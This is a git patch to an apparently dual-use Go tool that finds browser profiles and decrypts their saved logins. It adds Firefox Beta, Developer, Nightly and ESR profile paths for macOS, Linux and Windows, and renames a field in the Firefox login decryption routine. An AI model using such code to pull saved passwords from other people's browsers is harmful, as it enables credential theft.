From 80f4dd407935b8c19ff24a062a4d5f4db032beaa Mon Sep 17 00:00:00 2001 From: moond4rk Date: Thu, 11 Feb 2021 00:25:50 +0800 Subject: [PATCH] feat: support all versions of firefox, Close #73 --- core/browser.go | 26 ++++++++------- core/browser_darwin.go | 42 ++++++++++++++++++------ core/browser_linux.go | 40 ++++++++++++++++++----- core/browser_windows.go | 72 +++++++++++++++++++++++++++-------------- core/decrypt/decrypt.go | 4 +-- 5 files changed, 130 insertions(+), 54 deletions(-) diff --git a/core/browser.go b/core/browser.go index ed5bb31..f7d0eeb 100644 --- a/core/browser.go +++ b/core/browser.go @@ -12,17 +12,21 @@ import ( ) const ( - chromeName = "Chrome" - chromeBetaName = "Chrome Beta" - chromiumName = "Chromium" - edgeName = "Microsoft Edge" - firefoxName = "Firefox" - speed360Name = "360speed" - qqBrowserName = "qq" - braveName = "Brave" - operaName = "Opera" - operaGXName = "OperaGX" - vivaldiName = "Vivaldi" + chromeName = "Chrome" + chromeBetaName = "Chrome Beta" + chromiumName = "Chromium" + edgeName = "Microsoft Edge" + firefoxName = "Firefox" + firefoxBetaName = "Firefox Beta" + firefoxDevName = "Firefox Dev" + firefoxNightlyName = "Firefox Nightly" + firefoxESRName = "Firefox ESR" + speed360Name = "360speed" + qqBrowserName = "qq" + braveName = "Brave" + operaName = "Opera" + operaGXName = "OperaGX" + vivaldiName = "Vivaldi" ) type Browser interface { diff --git a/core/browser_darwin.go b/core/browser_darwin.go index 4a6accc..8ac5947 100644 --- a/core/browser_darwin.go +++ b/core/browser_darwin.go @@ -10,15 +10,19 @@ import ( ) const ( - chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" - chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/" - chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/" - edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" - fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default*/" - braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" - operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/" - operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/" - vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/" + fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/" + fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta/" + fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default/" + fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly/" + fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr/" + chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" + chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/" + chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/" + edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" + braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" + operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/" + operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/" + vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/" ) const ( @@ -44,6 +48,26 @@ var ( Name: firefoxName, New: NewFirefox, }, + "firefox-beta": { + ProfilePath: fireFoxBetaProfilePath, + Name: firefoxBetaName, + New: NewFirefox, + }, + "firefox-dev": { + ProfilePath: fireFoxDevProfilePath, + Name: firefoxDevName, + New: NewFirefox, + }, + "firefox-nightly": { + ProfilePath: fireFoxNightlyProfilePath, + Name: firefoxNightlyName, + New: NewFirefox, + }, + "firefox-esr": { + ProfilePath: fireFoxESRProfilePath, + Name: firefoxESRName, + New: NewFirefox, + }, "chrome": { ProfilePath: chromeProfilePath, Name: chromeName, diff --git a/core/browser_linux.go b/core/browser_linux.go index 37718ca..1e76a1a 100644 --- a/core/browser_linux.go +++ b/core/browser_linux.go @@ -11,14 +11,18 @@ import ( ) const ( - fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default*/" - chromeProfilePath = "/home/*/.config/google-chrome/*/" - chromiumProfilePath = "/home/*/.config/chromium/*/" - edgeProfilePath = "/home/*/.config/microsoft-edge*/*/" - braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/" - chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/" - operaProfilePath = "/home/*/.config/opera/" - vivaldiProfilePath = "/home/*/.config/vivaldi/*/" + fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/" + fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta/" + fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default/" + fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly/" + fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr/" + chromeProfilePath = "/home/*/.config/google-chrome/*/" + chromiumProfilePath = "/home/*/.config/chromium/*/" + edgeProfilePath = "/home/*/.config/microsoft-edge*/*/" + braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/" + chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/" + operaProfilePath = "/home/*/.config/opera/" + vivaldiProfilePath = "/home/*/.config/vivaldi/*/" ) const ( @@ -44,6 +48,26 @@ var ( Name: firefoxName, New: NewFirefox, }, + "firefox-beta": { + ProfilePath: fireFoxBetaProfilePath, + Name: firefoxBetaName, + New: NewFirefox, + }, + "firefox-dev": { + ProfilePath: fireFoxDevProfilePath, + Name: firefoxDevName, + New: NewFirefox, + }, + "firefox-nightly": { + ProfilePath: fireFoxNightlyProfilePath, + Name: firefoxNightlyName, + New: NewFirefox, + }, + "firefox-esr": { + ProfilePath: fireFoxESRProfilePath, + Name: firefoxESRName, + New: NewFirefox, + }, "chrome": { ProfilePath: chromeProfilePath, Name: chromeName, diff --git a/core/browser_windows.go b/core/browser_windows.go index eef748c..546edf0 100644 --- a/core/browser_windows.go +++ b/core/browser_windows.go @@ -13,25 +13,29 @@ import ( ) const ( - chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" - chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" - chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" - chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State" - chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/" - chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State" - edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/" - edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State" - braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/" - braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" - speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" - qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" - firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default*/" - operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" - operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" - operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" - operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State" - vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/" - vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State" + firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/" + fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta/" + fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default/" + fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly/" + fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr/" + chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" + chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" + chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" + chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State" + chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/" + chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State" + edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/" + edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State" + braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/" + braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" + speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" + qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" + operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" + operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" + operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" + operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State" + vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/" + vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State" ) var ( @@ -42,6 +46,31 @@ var ( Storage string New func(profile, key, name, storage string) (Browser, error) }{ + "firefox": { + ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, + Name: firefoxName, + New: NewFirefox, + }, + "firefox-beta": { + ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath, + Name: firefoxBetaName, + New: NewFirefox, + }, + "firefox-dev": { + ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath, + Name: firefoxDevName, + New: NewFirefox, + }, + "firefox-nightly": { + ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath, + Name: firefoxNightlyName, + New: NewFirefox, + }, + "firefox-esr": { + ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath, + Name: firefoxESRName, + New: NewFirefox, + }, "chrome": { ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, @@ -76,11 +105,6 @@ var ( Name: qqBrowserName, New: NewChromium, }, - "firefox": { - ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, - Name: firefoxName, - New: NewFirefox, - }, "brave": { ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, diff --git a/core/decrypt/decrypt.go b/core/decrypt/decrypt.go index 9304c0e..10c5987 100644 --- a/core/decrypt/decrypt.go +++ b/core/decrypt/decrypt.go @@ -217,9 +217,9 @@ type LoginPBE struct { type LoginSequence struct { asn1.ObjectIdentifier - Iv []byte + IV []byte } func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { - return des3Decrypt(globalSalt, l.Iv, l.Encrypted) + return des3Decrypt(globalSalt, l.IV, l.Encrypted) }